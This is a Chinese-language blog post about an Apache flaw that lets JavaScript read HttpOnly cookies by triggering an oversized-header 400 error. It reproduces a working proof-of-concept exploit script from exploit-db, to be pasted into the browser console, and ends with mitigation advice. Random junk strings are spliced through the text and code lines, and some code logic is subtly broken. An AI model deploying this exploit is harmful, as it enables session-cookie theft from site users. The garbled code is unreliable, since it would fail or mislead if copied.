Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。
; s; [. y# e% X
用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
# {3 e4 e; T% m: [( G" O

" ^& O3 M/ i$ m, A! j// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
' q! p6 d9 }" F) Q+ Ustr += "x";
}
, p6 _& e0 L1 x1 }$ o; ]. \// Set cookies
6 r; k/ M' P1 T: T" i3 H3 Ofor (i = 0; i < 10; i++) {
0 O/ n. f6 P! O$ j8 R// Expire evil cookie
if (good) {
9 Q0 B/ Z) C* I! S4 vvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
! M! s" \  a! L$ A* u) Avar cookie = "xss"+i+"="+str+";path=/";
" N" }5 N# E& P3 Z}
document.cookie = cookie;
}
}
3 Y* n- e6 u2 xfunction makeRequest() {
setCookies();
6 G9 L" o  A0 ~1 y  n  _' y) sfunction parseCookies () {
- E. Y( W1 ?( E6 V$ M- G, a3 n  @# p0 }var cookie_dict = {};
/ L6 ?. o: Q5 g; L1 J# n$ v) R2 H7 M// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
9 \  W$ v1 Q2 r! k) i# M3 Uvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
" x% I+ g: J% A" ycontent = content[1].replace("Cookie: ", "");
, s: X1 {1 A6 M) dvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
( i. k4 {7 F$ ]) ?3 A$ [for (var i=0; i<cookies.length; i++) {
" T1 S, z& c4 N! T1 P8 Qvar s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
! O9 b0 Y: x6 l2 n5 v+ i( R! |alert(JSON.stringify(cookie_dict));
: g. D, U2 A: l2 e6 r}
}
  M) X6 \) e& j# p9 W// Make XHR request
var xhr = new XMLHttpRequest();
0 S2 c+ `( K' i! F, m2 S# E1 q7 Zxhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();

你就能看见华丽丽的400错误包含着cookie信息。
- ?, `3 Z. |9 R" W% n9 G
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
' R; E. f! l' q; ~; f
  d8 T/ N9 F% s+ C/ c修复方案：

Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
4 x/ @. Z( e$ H6 a) j. h# U
  y+ q3 w' J/ e7 V  i0 G* sIn the event of a problem or error, Apachecan be configured to do one of four things,
9 C" s) [- v2 W, G1 j# T  c. s
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
4 Q# x2 d4 T: G$ r; v2. output acustomized message输出一段信息
8 F5 b* a9 h9 h4 I3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
- d: v; C7 E& w% a+ D
Apache配置：

ErrorDocument400 " security test"

. r' n1 o! U3 \: b: o" j2 q当然，升级apache到最新也可：）。
; e! I8 A6 c) Y9 ^! A0 z
8 n! a% c5 O2 k' A9 r: E8 Z参考：http://httpd.apache.org/security/vulnerabilities_22.html
) A2 U$ b4 x+ C/ E- j# l) a